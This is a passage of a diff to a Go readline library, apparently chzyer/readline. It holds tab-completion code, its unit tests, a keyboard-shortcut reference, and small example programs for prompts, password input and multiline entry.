o.ExitCompleteMode(false)
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
o.EnterCompleteMode(offset, newLines)
|
||||
return true
|
||||
}
|
||||
|
||||
func (o *opCompleter) IsInCompleteSelectMode() bool {
|
||||
return o.inSelectMode
|
||||
}
|
||||
|
||||
func (o *opCompleter) IsInCompleteMode() bool {
|
||||
return o.inCompleteMode
|
||||
}
|
||||
|
||||
func (o *opCompleter) HandleCompleteSelect(r rune) bool {
|
||||
next := true
|
||||
switch r {
|
||||
case CharEnter, CharCtrlJ:
|
||||
next = false
|
||||
o.op.buf.WriteRunes(o.op.candidate[o.op.candidateChoise])
|
||||
o.ExitCompleteMode(false)
|
||||
case CharLineStart:
|
||||
num := o.candidateChoise % o.candidateColNum
|
||||
o.nextCandidate(-num)
|
||||
case CharLineEnd:
|
||||
num := o.candidateColNum - o.candidateChoise%o.candidateColNum - 1
|
||||
o.candidateChoise += num
|
||||
if o.candidateChoise >= len(o.candidate) {
|
||||
o.candidateChoise = len(o.candidate) - 1
|
||||
}
|
||||
case CharBackspace:
|
||||
o.ExitCompleteSelectMode()
|
||||
next = false
|
||||
case CharTab, CharForward:
|
||||
o.doSelect()
|
||||
case CharBell, CharInterrupt:
|
||||
o.ExitCompleteMode(true)
|
||||
next = false
|
||||
case CharNext:
|
||||
tmpChoise := o.candidateChoise + o.candidateColNum
|
||||
if tmpChoise >= o.getMatrixSize() {
|
||||
tmpChoise -= o.getMatrixSize()
|
||||
} else if tmpChoise >= len(o.candidate) {
|
||||
tmpChoise += o.candidateColNum
|
||||
tmpChoise -= o.getMatrixSize()
|
||||
}
|
||||
o.candidateChoise = tmpChoise
|
||||
case CharBackward:
|
||||
o.nextCandidate(-1)
|
||||
case CharPrev:
|
||||
tmpChoise := o.candidateChoise - o.candidateColNum
|
||||
if tmpChoise < 0 {
|
||||
tmpChoise += o.getMatrixSize()
|
||||
if tmpChoise >= len(o.candidate) {
|
||||
tmpChoise -= o.candidateColNum
|
||||
}
|
||||
}
|
||||
o.candidateChoise = tmpChoise
|
||||
default:
|
||||
next = false
|
||||
o.ExitCompleteSelectMode()
|
||||
}
|
||||
if next {
|
||||
o.CompleteRefresh()
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (o *opCompleter) getMatrixSize() int {
|
||||
line := len(o.candidate) / o.candidateColNum
|
||||
if len(o.candidate)%o.candidateColNum != 0 {
|
||||
line++
|
||||
}
|
||||
return line * o.candidateColNum
|
||||
}
|
||||
|
||||
func (o *opCompleter) OnWidthChange(newWidth int) {
|
||||
o.width = newWidth
|
||||
}
|
||||
|
||||
func (o *opCompleter) CompleteRefresh() {
|
||||
if !o.inCompleteMode {
|
||||
return
|
||||
}
|
||||
lineCnt := o.op.buf.CursorLineCount()
|
||||
colWidth := 0
|
||||
for _, c := range o.candidate {
|
||||
w := runes.WidthAll(c)
|
||||
if w > colWidth {
|
||||
colWidth = w
|
||||
}
|
||||
}
|
||||
colWidth += o.candidateOff + 1
|
||||
same := o.op.buf.RuneSlice(-o.candidateOff)
|
||||
|
||||
// -1 to avoid reach the end of line
|
||||
width := o.width - 1
|
||||
colNum := width / colWidth
|
||||
if colNum != 0 {
|
||||
colWidth += (width - (colWidth * colNum)) / colNum
|
||||
}
|
||||
|
||||
o.candidateColNum = colNum
|
||||
buf := bufio.NewWriter(o.w)
|
||||
buf.Write(bytes.Repeat([]byte("\n"), lineCnt))
|
||||
|
||||
colIdx := 0
|
||||
lines := 1
|
||||
buf.WriteString("\033[J")
|
||||
for idx, c := range o.candidate {
|
||||
inSelect := idx == o.candidateChoise && o.IsInCompleteSelectMode()
|
||||
if inSelect {
|
||||
buf.WriteString("\033[30;47m")
|
||||
}
|
||||
buf.WriteString(string(same))
|
||||
buf.WriteString(string(c))
|
||||
buf.Write(bytes.Repeat([]byte(" "), colWidth-runes.WidthAll(c)-runes.WidthAll(same)))
|
||||
|
||||
if inSelect {
|
||||
buf.WriteString("\033[0m")
|
||||
}
|
||||
|
||||
colIdx++
|
||||
if colIdx == colNum {
|
||||
buf.WriteString("\n")
|
||||
lines++
|
||||
colIdx = 0
|
||||
}
|
||||
}
|
||||
|
||||
// move back
|
||||
fmt.Fprintf(buf, "\033[%dA\r", lineCnt-1+lines)
|
||||
fmt.Fprintf(buf, "\033[%dC", o.op.buf.idx+o.op.buf.PromptLen())
|
||||
buf.Flush()
|
||||
}
|
||||
|
||||
func (o *opCompleter) aggCandidate(candidate [][]rune) int {
|
||||
offset := 0
|
||||
for i := 0; i < len(candidate[0]); i++ {
|
||||
for j := 0; j < len(candidate)-1; j++ {
|
||||
if i > len(candidate[j]) {
|
||||
goto aggregate
|
||||
}
|
||||
if candidate[j][i] != candidate[j+1][i] {
|
||||
goto aggregate
|
||||
}
|
||||
}
|
||||
offset = i
|
||||
}
|
||||
aggregate:
|
||||
return offset
|
||||
}
|
||||
|
||||
func (o *opCompleter) EnterCompleteSelectMode() {
|
||||
o.inSelectMode = true
|
||||
o.candidateChoise = -1
|
||||
o.CompleteRefresh()
|
||||
}
|
||||
|
||||
func (o *opCompleter) EnterCompleteMode(offset int, candidate [][]rune) {
|
||||
o.inCompleteMode = true
|
||||
o.candidate = candidate
|
||||
o.candidateOff = offset
|
||||
o.CompleteRefresh()
|
||||
}
|
||||
|
||||
func (o *opCompleter) ExitCompleteSelectMode() {
|
||||
o.inSelectMode = false
|
||||
o.candidate = nil
|
||||
o.candidateChoise = -1
|
||||
o.candidateOff = -1
|
||||
o.candidateSource = nil
|
||||
}
|
||||
|
||||
func (o *opCompleter) ExitCompleteMode(revent bool) {
|
||||
o.inCompleteMode = false
|
||||
o.ExitCompleteSelectMode()
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Caller type for dynamic completion
|
||||
type DynamicCompleteFunc func(string) []string
|
||||
|
||||
type PrefixCompleterInterface interface {
|
||||
Print(prefix string, level int, buf *bytes.Buffer)
|
||||
Do(line []rune, pos int) (newLine [][]rune, length int)
|
||||
GetName() []rune
|
||||
GetChildren() []PrefixCompleterInterface
|
||||
SetChildren(children []PrefixCompleterInterface)
|
||||
}
|
||||
|
||||
type DynamicPrefixCompleterInterface interface {
|
||||
PrefixCompleterInterface
|
||||
IsDynamic() bool
|
||||
GetDynamicNames(line []rune) [][]rune
|
||||
}
|
||||
|
||||
type PrefixCompleter struct {
|
||||
Name []rune
|
||||
Dynamic bool
|
||||
Callback DynamicCompleteFunc
|
||||
Children []PrefixCompleterInterface
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) Tree(prefix string) string {
|
||||
buf := bytes.NewBuffer(nil)
|
||||
p.Print(prefix, 0, buf)
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func Print(p PrefixCompleterInterface, prefix string, level int, buf *bytes.Buffer) {
|
||||
if strings.TrimSpace(string(p.GetName())) != "" {
|
||||
buf.WriteString(prefix)
|
||||
if level > 0 {
|
||||
buf.WriteString("├")
|
||||
buf.WriteString(strings.Repeat("─", (level*4)-2))
|
||||
buf.WriteString(" ")
|
||||
}
|
||||
buf.WriteString(string(p.GetName()) + "\n")
|
||||
level++
|
||||
}
|
||||
for _, ch := range p.GetChildren() {
|
||||
ch.Print(prefix, level, buf)
|
||||
}
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) Print(prefix string, level int, buf *bytes.Buffer) {
|
||||
Print(p, prefix, level, buf)
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) IsDynamic() bool {
|
||||
return p.Dynamic
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) GetName() []rune {
|
||||
return p.Name
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) GetDynamicNames(line []rune) [][]rune {
|
||||
var names = [][]rune{}
|
||||
for _, name := range p.Callback(string(line)) {
|
||||
names = append(names, []rune(name+" "))
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) GetChildren() []PrefixCompleterInterface {
|
||||
return p.Children
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) SetChildren(children []PrefixCompleterInterface) {
|
||||
p.Children = children
|
||||
}
|
||||
|
||||
func NewPrefixCompleter(pc ...PrefixCompleterInterface) *PrefixCompleter {
|
||||
return PcItem("", pc...)
|
||||
}
|
||||
|
||||
func PcItem(name string, pc ...PrefixCompleterInterface) *PrefixCompleter {
|
||||
name += " "
|
||||
return &PrefixCompleter{
|
||||
Name: []rune(name),
|
||||
Dynamic: false,
|
||||
Children: pc,
|
||||
}
|
||||
}
|
||||
|
||||
func PcItemDynamic(callback DynamicCompleteFunc, pc ...PrefixCompleterInterface) *PrefixCompleter {
|
||||
return &PrefixCompleter{
|
||||
Callback: callback,
|
||||
Dynamic: true,
|
||||
Children: pc,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *PrefixCompleter) Do(line []rune, pos int) (newLine [][]rune, offset int) {
|
||||
return doInternal(p, line, pos, line)
|
||||
}
|
||||
|
||||
func Do(p PrefixCompleterInterface, line []rune, pos int) (newLine [][]rune, offset int) {
|
||||
return doInternal(p, line, pos, line)
|
||||
}
|
||||
|
||||
func doInternal(p PrefixCompleterInterface, line []rune, pos int, origLine []rune) (newLine [][]rune, offset int) {
|
||||
line = runes.TrimSpaceLeft(line[:pos])
|
||||
goNext := false
|
||||
var lineCompleter PrefixCompleterInterface
|
||||
for _, child := range p.GetChildren() {
|
||||
childNames := make([][]rune, 1)
|
||||
|
||||
childDynamic, ok := child.(DynamicPrefixCompleterInterface)
|
||||
if ok && childDynamic.IsDynamic() {
|
||||
childNames = childDynamic.GetDynamicNames(origLine)
|
||||
} else {
|
||||
childNames[0] = child.GetName()
|
||||
}
|
||||
|
||||
for _, childName := range childNames {
|
||||
if len(line) >= len(childName) {
|
||||
if runes.HasPrefix(line, childName) {
|
||||
if len(line) == len(childName) {
|
||||
newLine = append(newLine, []rune{' '})
|
||||
} else {
|
||||
newLine = append(newLine, childName)
|
||||
}
|
||||
offset = len(childName)
|
||||
lineCompleter = child
|
||||
goNext = true
|
||||
}
|
||||
} else {
|
||||
if runes.HasPrefix(childName, line) {
|
||||
newLine = append(newLine, childName[len(line):])
|
||||
offset = len(line)
|
||||
lineCompleter = child
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(newLine) != 1 {
|
||||
return
|
||||
}
|
||||
|
||||
tmpLine := make([]rune, 0, len(line))
|
||||
for i := offset; i < len(line); i++ {
|
||||
if line[i] == ' ' {
|
||||
continue
|
||||
}
|
||||
|
||||
tmpLine = append(tmpLine, line[i:]...)
|
||||
return doInternal(lineCompleter, tmpLine, len(tmpLine), origLine)
|
||||
}
|
||||
|
||||
if goNext {
|
||||
return doInternal(lineCompleter, nil, 0, origLine)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package readline
|
||||
|
||||
type SegmentCompleter interface {
|
||||
// a
|
||||
// |- a1
|
||||
// |--- a11
|
||||
// |- a2
|
||||
// b
|
||||
// input:
|
||||
// DoTree([], 0) [a, b]
|
||||
// DoTree([a], 1) [a]
|
||||
// DoTree([a, ], 0) [a1, a2]
|
||||
// DoTree([a, a], 1) [a1, a2]
|
||||
// DoTree([a, a1], 2) [a1]
|
||||
// DoTree([a, a1, ], 0) [a11]
|
||||
// DoTree([a, a1, a], 1) [a11]
|
||||
DoSegment([][]rune, int) [][]rune
|
||||
}
|
||||
|
||||
type dumpSegmentCompleter struct {
|
||||
f func([][]rune, int) [][]rune
|
||||
}
|
||||
|
||||
func (d *dumpSegmentCompleter) DoSegment(segment [][]rune, n int) [][]rune {
|
||||
return d.f(segment, n)
|
||||
}
|
||||
|
||||
func SegmentFunc(f func([][]rune, int) [][]rune) AutoCompleter {
|
||||
return &SegmentComplete{&dumpSegmentCompleter{f}}
|
||||
}
|
||||
|
||||
func SegmentAutoComplete(completer SegmentCompleter) *SegmentComplete {
|
||||
return &SegmentComplete{
|
||||
SegmentCompleter: completer,
|
||||
}
|
||||
}
|
||||
|
||||
type SegmentComplete struct {
|
||||
SegmentCompleter
|
||||
}
|
||||
|
||||
func RetSegment(segments [][]rune, cands [][]rune, idx int) ([][]rune, int) {
|
||||
ret := make([][]rune, 0, len(cands))
|
||||
lastSegment := segments[len(segments)-1]
|
||||
for _, cand := range cands {
|
||||
if !runes.HasPrefix(cand, lastSegment) {
|
||||
continue
|
||||
}
|
||||
ret = append(ret, cand[len(lastSegment):])
|
||||
}
|
||||
return ret, idx
|
||||
}
|
||||
|
||||
func SplitSegment(line []rune, pos int) ([][]rune, int) {
|
||||
segs := [][]rune{}
|
||||
lastIdx := -1
|
||||
line = line[:pos]
|
||||
pos = 0
|
||||
for idx, l := range line {
|
||||
if l == ' ' {
|
||||
pos = 0
|
||||
segs = append(segs, line[lastIdx+1:idx])
|
||||
lastIdx = idx
|
||||
} else {
|
||||
pos++
|
||||
}
|
||||
}
|
||||
segs = append(segs, line[lastIdx+1:])
|
||||
return segs, pos
|
||||
}
|
||||
|
||||
func (c *SegmentComplete) Do(line []rune, pos int) (newLine [][]rune, offset int) {
|
||||
|
||||
segment, idx := SplitSegment(line, pos)
|
||||
|
||||
cands := c.DoSegment(segment, idx)
|
||||
newLine, offset = RetSegment(segment, cands, idx)
|
||||
for idx := range newLine {
|
||||
newLine[idx] = append(newLine[idx], ' ')
|
||||
}
|
||||
return newLine, offset
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
|
||||
"github.com/chzyer/test"
|
||||
)
|
||||
|
||||
func rs(s [][]rune) []string {
|
||||
ret := make([]string, len(s))
|
||||
for idx, ss := range s {
|
||||
ret[idx] = string(ss)
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
func sr(s ...string) [][]rune {
|
||||
ret := make([][]rune, len(s))
|
||||
for idx, ss := range s {
|
||||
ret[idx] = []rune(ss)
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
func TestRetSegment(t *testing.T) {
|
||||
defer test.New(t)
|
||||
// a
|
||||
// |- a1
|
||||
// |--- a11
|
||||
// |--- a12
|
||||
// |- a2
|
||||
// |--- a21
|
||||
// b
|
||||
// add
|
||||
// adddomain
|
||||
ret := []struct {
|
||||
Segments [][]rune
|
||||
Cands [][]rune
|
||||
idx int
|
||||
Ret [][]rune
|
||||
pos int
|
||||
}{
|
||||
{sr(""), sr("a", "b", "add", "adddomain"), 0, sr("a", "b", "add", "adddomain"), 0},
|
||||
{sr("a"), sr("a", "add", "adddomain"), 1, sr("", "dd", "dddomain"), 1},
|
||||
{sr("a", ""), sr("a1", "a2"), 0, sr("a1", "a2"), 0},
|
||||
{sr("a", "a"), sr("a1", "a2"), 1, sr("1", "2"), 1},
|
||||
{sr("a", "a1"), sr("a1"), 2, sr(""), 2},
|
||||
{sr("add"), sr("add", "adddomain"), 2, sr("", "domain"), 2},
|
||||
}
|
||||
for idx, r := range ret {
|
||||
ret, pos := RetSegment(r.Segments, r.Cands, r.idx)
|
||||
test.Equal(ret, r.Ret, fmt.Errorf("%v", idx))
|
||||
test.Equal(pos, r.pos, fmt.Errorf("%v", idx))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitSegment(t *testing.T) {
|
||||
defer test.New(t)
|
||||
// a
|
||||
// |- a1
|
||||
// |--- a11
|
||||
// |--- a12
|
||||
// |- a2
|
||||
// |--- a21
|
||||
// b
|
||||
ret := []struct {
|
||||
Line string
|
||||
Pos int
|
||||
Segments [][]rune
|
||||
Idx int
|
||||
}{
|
||||
{"", 0, sr(""), 0},
|
||||
{"a", 1, sr("a"), 1},
|
||||
{"a ", 2, sr("a", ""), 0},
|
||||
{"a a", 3, sr("a", "a"), 1},
|
||||
{"a a1", 4, sr("a", "a1"), 2},
|
||||
{"a a1 ", 5, sr("a", "a1", ""), 0},
|
||||
}
|
||||
|
||||
for i, r := range ret {
|
||||
ret, idx := SplitSegment([]rune(r.Line), r.Pos)
|
||||
test.Equal(rs(ret), rs(r.Segments), fmt.Errorf("%v", i))
|
||||
test.Equal(idx, r.Idx, fmt.Errorf("%v", i))
|
||||
}
|
||||
}
|
||||
|
||||
type Tree struct {
|
||||
Name string
|
||||
Children []Tree
|
||||
}
|
||||
|
||||
func TestSegmentCompleter(t *testing.T) {
|
||||
defer test.New(t)
|
||||
|
||||
tree := Tree{"", []Tree{
|
||||
{"a", []Tree{
|
||||
{"a1", []Tree{
|
||||
{"a11", nil},
|
||||
{"a12", nil},
|
||||
}},
|
||||
{"a2", []Tree{
|
||||
{"a21", nil},
|
||||
}},
|
||||
}},
|
||||
{"b", nil},
|
||||
{"route", []Tree{
|
||||
{"add", nil},
|
||||
{"adddomain", nil},
|
||||
}},
|
||||
}}
|
||||
s := SegmentFunc(func(ret [][]rune, n int) [][]rune {
|
||||
tree := tree
|
||||
main:
|
||||
for level := 0; level < len(ret)-1; {
|
||||
name := string(ret[level])
|
||||
for _, t := range tree.Children {
|
||||
if t.Name == name {
|
||||
tree = t
|
||||
level++
|
||||
continue main
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ret = make([][]rune, len(tree.Children))
|
||||
for idx, r := range tree.Children {
|
||||
ret[idx] = []rune(r.Name)
|
||||
}
|
||||
return ret
|
||||
})
|
||||
|
||||
// a
|
||||
// |- a1
|
||||
// |--- a11
|
||||
// |--- a12
|
||||
// |- a2
|
||||
// |--- a21
|
||||
// b
|
||||
ret := []struct {
|
||||
Line string
|
||||
Pos int
|
||||
Ret [][]rune
|
||||
Share int
|
||||
}{
|
||||
{"", 0, sr("a", "b", "route"), 0},
|
||||
{"a", 1, sr(""), 1},
|
||||
{"a ", 2, sr("a1", "a2"), 0},
|
||||
{"a a", 3, sr("1", "2"), 1},
|
||||
{"a a1", 4, sr(""), 2},
|
||||
{"a a1 ", 5, sr("a11", "a12"), 0},
|
||||
{"a a1 a", 6, sr("11", "12"), 1},
|
||||
{"a a1 a1", 7, sr("1", "2"), 2},
|
||||
{"a a1 a11", 8, sr(""), 3},
|
||||
{"route add", 9, sr("", "domain"), 3},
|
||||
}
|
||||
for _, r := range ret {
|
||||
for idx, rr := range r.Ret {
|
||||
r.Ret[idx] = append(rr, ' ')
|
||||
}
|
||||
}
|
||||
for i, r := range ret {
|
||||
newLine, length := s.Do([]rune(r.Line), r.Pos)
|
||||
test.Equal(rs(newLine), rs(r.Ret), fmt.Errorf("%v", i))
|
||||
test.Equal(length, r.Share, fmt.Errorf("%v", i))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
## Readline Shortcut
|
||||
|
||||
`Meta`+`B` means press `Esc` and `n` separately.
|
||||
Users can change that in terminal simulator(i.e. iTerm2) to `Alt`+`B`
|
||||
Notice: `Meta`+`B` is equals with `Alt`+`B` in windows.
|
||||
|
||||
* Shortcut in normal mode
|
||||
|
||||
| Shortcut | Comment |
|
||||
| ------------------ | --------------------------------- |
|
||||
| `Ctrl`+`A` | Beginning of line |
|
||||
| `Ctrl`+`B` / `←` | Backward one character |
|
||||
| `Meta`+`B` | Backward one word |
|
||||
| `Ctrl`+`C` | Send io.EOF |
|
||||
| `Ctrl`+`D` | Delete one character |
|
||||
| `Meta`+`D` | Delete one word |
|
||||
| `Ctrl`+`E` | End of line |
|
||||
| `Ctrl`+`F` / `→` | Forward one character |
|
||||
| `Meta`+`F` | Forward one word |
|
||||
| `Ctrl`+`G` | Cancel |
|
||||
| `Ctrl`+`H` | Delete previous character |
|
||||
| `Ctrl`+`I` / `Tab` | Command line completion |
|
||||
| `Ctrl`+`J` | Line feed |
|
||||
| `Ctrl`+`K` | Cut text to the end of line |
|
||||
| `Ctrl`+`L` | Clear screen |
|
||||
| `Ctrl`+`M` | Same as Enter key |
|
||||
| `Ctrl`+`N` / `↓` | Next line (in history) |
|
||||
| `Ctrl`+`P` / `↑` | Prev line (in history) |
|
||||
| `Ctrl`+`R` | Search backwards in history |
|
||||
| `Ctrl`+`S` | Search forwards in history |
|
||||
| `Ctrl`+`T` | Transpose characters |
|
||||
| `Meta`+`T` | Transpose words (TODO) |
|
||||
| `Ctrl`+`U` | Cut text to the beginning of line |
|
||||
| `Ctrl`+`W` | Cut previous word |
|
||||
| `Backspace` | Delete previous character |
|
||||
| `Meta`+`Backspace` | Cut previous word |
|
||||
| `Enter` | Line feed |
|
||||
|
||||
|
||||
* Shortcut in Search Mode (`Ctrl`+`S` or `Ctrl`+`r` to enter this mode)
|
||||
|
||||
| Shortcut | Comment |
|
||||
| ----------------------- | --------------------------------------- |
|
||||
| `Ctrl`+`S` | Search forwards in history |
|
||||
| `Ctrl`+`R` | Search backwards in history |
|
||||
| `Ctrl`+`C` / `Ctrl`+`G` | Exit Search Mode and revert the history |
|
||||
| `Backspace` | Delete previous character |
|
||||
| Other | Exit Search Mode |
|
||||
|
||||
* Shortcut in Complete Select Mode (double `Tab` to enter this mode)
|
||||
|
||||
| Shortcut | Comment |
|
||||
| ----------------------- | ---------------------------------------- |
|
||||
| `Ctrl`+`F` | Move Forward |
|
||||
| `Ctrl`+`B` | Move Backward |
|
||||
| `Ctrl`+`N` | Move to next line |
|
||||
| `Ctrl`+`P` | Move to previous line |
|
||||
| `Ctrl`+`A` | Move to the first candicate in current line |
|
||||
| `Ctrl`+`E` | Move to the last candicate in current line |
|
||||
| `Tab` / `Enter` | Use the word on cursor to complete |
|
||||
| `Ctrl`+`C` / `Ctrl`+`G` | Exit Complete Select Mode |
|
||||
| Other | Exit Complete Select Mode |
|
||||
@@ -0,0 +1,167 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/chzyer/readline"
|
||||
)
|
||||
|
||||
func usage(w io.Writer) {
|
||||
io.WriteString(w, "commands:\n")
|
||||
io.WriteString(w, completer.Tree(" "))
|
||||
}
|
||||
|
||||
// Function constructor - constructs new function for listing given directory
|
||||
func listFiles(path string) func(string) []string {
|
||||
return func(line string) []string {
|
||||
names := make([]string, 0)
|
||||
files, _ := ioutil.ReadDir(path)
|
||||
for _, f := range files {
|
||||
names = append(names, f.Name())
|
||||
}
|
||||
return names
|
||||
}
|
||||
}
|
||||
|
||||
var completer = readline.NewPrefixCompleter(
|
||||
readline.PcItem("mode",
|
||||
readline.PcItem("vi"),
|
||||
readline.PcItem("emacs"),
|
||||
),
|
||||
readline.PcItem("login"),
|
||||
readline.PcItem("say",
|
||||
readline.PcItemDynamic(listFiles("./"),
|
||||
readline.PcItem("with",
|
||||
readline.PcItem("following"),
|
||||
readline.PcItem("items"),
|
||||
),
|
||||
),
|
||||
readline.PcItem("hello"),
|
||||
readline.PcItem("bye"),
|
||||
),
|
||||
readline.PcItem("setprompt"),
|
||||
readline.PcItem("setpassword"),
|
||||
readline.PcItem("bye"),
|
||||
readline.PcItem("help"),
|
||||
readline.PcItem("go",
|
||||
readline.PcItem("build", readline.PcItem("-o"), readline.PcItem("-v")),
|
||||
readline.PcItem("install",
|
||||
readline.PcItem("-v"),
|
||||
readline.PcItem("-vv"),
|
||||
readline.PcItem("-vvv"),
|
||||
),
|
||||
readline.PcItem("test"),
|
||||
),
|
||||
readline.PcItem("sleep"),
|
||||
)
|
||||
|
||||
func filterInput(r rune) (rune, bool) {
|
||||
switch r {
|
||||
// block CtrlZ feature
|
||||
case readline.CharCtrlZ:
|
||||
return r, false
|
||||
}
|
||||
return r, true
|
||||
}
|
||||
|
||||
func main() {
|
||||
l, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31m»\033[0m ",
|
||||
HistoryFile: "/tmp/readline.tmp",
|
||||
AutoComplete: completer,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
|
||||
HistorySearchFold: true,
|
||||
FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer l.Close()
|
||||
|
||||
setPasswordCfg := l.GenPasswordConfig()
|
||||
setPasswordCfg.SetListener(func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) {
|
||||
l.SetPrompt(fmt.Sprintf("Enter password(%v): ", len(line)))
|
||||
l.Refresh()
|
||||
return nil, 0, false
|
||||
})
|
||||
|
||||
log.SetOutput(l.Stderr())
|
||||
for {
|
||||
line, err := l.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
|
||||
line = strings.TrimSpace(line)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "mode "):
|
||||
switch line[5:] {
|
||||
case "vi":
|
||||
l.SetVimMode(true)
|
||||
case "emacs":
|
||||
l.SetVimMode(false)
|
||||
default:
|
||||
println("invalid mode:", line[5:])
|
||||
}
|
||||
case line == "mode":
|
||||
if l.IsVimMode() {
|
||||
println("current mode: vim")
|
||||
} else {
|
||||
println("current mode: emacs")
|
||||
}
|
||||
case line == "login":
|
||||
pswd, err := l.ReadPassword("please enter your password: ")
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
println("you enter:", strconv.Quote(string(pswd)))
|
||||
case line == "help":
|
||||
usage(l.Stderr())
|
||||
case line == "setpassword":
|
||||
pswd, err := l.ReadPasswordWithConfig(setPasswordCfg)
|
||||
if err == nil {
|
||||
println("you set:", strconv.Quote(string(pswd)))
|
||||
}
|
||||
case strings.HasPrefix(line, "setprompt"):
|
||||
if len(line) <= 10 {
|
||||
log.Println("setprompt <prompt>")
|
||||
break
|
||||
}
|
||||
l.SetPrompt(line[10:])
|
||||
case strings.HasPrefix(line, "say"):
|
||||
line := strings.TrimSpace(line[3:])
|
||||
if len(line) == 0 {
|
||||
log.Println("say what?")
|
||||
break
|
||||
}
|
||||
go func() {
|
||||
for range time.Tick(time.Second) {
|
||||
log.Println(line)
|
||||
}
|
||||
}()
|
||||
case line == "bye":
|
||||
goto exit
|
||||
case line == "sleep":
|
||||
log.Println("sleep 4 second")
|
||||
time.Sleep(4 * time.Second)
|
||||
case line == "":
|
||||
default:
|
||||
log.Println("you said:", strconv.Quote(line))
|
||||
}
|
||||
}
|
||||
exit:
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
# readline-im
|
||||
|
||||

|
||||
@@ -0,0 +1,60 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"time"
|
||||
|
||||
"github.com/chzyer/readline"
|
||||
)
|
||||
import "log"
|
||||
|
||||
func main() {
|
||||
rl, err := readline.NewEx(&readline.Config{
|
||||
UniqueEditLine: true,
|
||||
})
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer rl.Close()
|
||||
|
||||
rl.SetPrompt("username: ")
|
||||
username, err := rl.Readline()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rl.ResetHistory()
|
||||
log.SetOutput(rl.Stderr())
|
||||
|
||||
fmt.Fprintln(rl, "Hi,", username+"! My name is Dave.")
|
||||
rl.SetPrompt(username + "> ")
|
||||
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
rand.Seed(time.Now().Unix())
|
||||
loop:
|
||||
for {
|
||||
select {
|
||||
case <-time.After(time.Duration(rand.Intn(20)) * 100 * time.Millisecond):
|
||||
case <-done:
|
||||
break loop
|
||||
}
|
||||
log.Println("Dave:", "hello")
|
||||
}
|
||||
log.Println("Dave:", "bye")
|
||||
done <- struct{}{}
|
||||
}()
|
||||
|
||||
for {
|
||||
ln := rl.Line()
|
||||
if ln.CanContinue() {
|
||||
continue
|
||||
} else if ln.CanBreak() {
|
||||
break
|
||||
}
|
||||
log.Println(username+":", ln.Line)
|
||||
}
|
||||
rl.Clean()
|
||||
done <- struct{}{}
|
||||
<-done
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/chzyer/readline"
|
||||
)
|
||||
|
||||
func main() {
|
||||
rl, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "> ",
|
||||
HistoryFile: "/tmp/readline-multiline",
|
||||
DisableAutoSaveHistory: true,
|
||||
})
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer rl.Close()
|
||||
|
||||
var cmds []string
|
||||
for {
|
||||
line, err := rl.Readline()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
line = strings.TrimSpace(line)
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
cmds = append(cmds, line)
|
||||
if !strings.HasSuffix(line, ";") {
|
||||
rl.SetPrompt(">>> ")
|
||||
continue
|
||||
}
|
||||
cmd := strings.Join(cmds, " ")
|
||||
cmds = cmds[:0]
|
||||
rl.SetPrompt("> ")
|
||||
rl.SaveHistory(cmd)
|
||||
println(cmd)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
// This is a small example using readline to read a password
|
||||
// and check it's strength while typing using the zxcvbn library.
|
||||
// Depending on the strength the prompt is colored nicely to indicate strength.
|
||||
//
|
||||
// This file is licensed under the WTFPL:
|
||||
//
|
||||
// DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
// Version 2, December 2004
|
||||
//
|
||||
// Copyright (C) 2004 Sam Hocevar <[email protected]>
|
||||
//
|
||||
// Everyone is permitted to copy and distribute verbatim or modified
|
||||
// copies of this license document, and changing it is allowed as long
|
||||
// as the name is changed.
|
||||
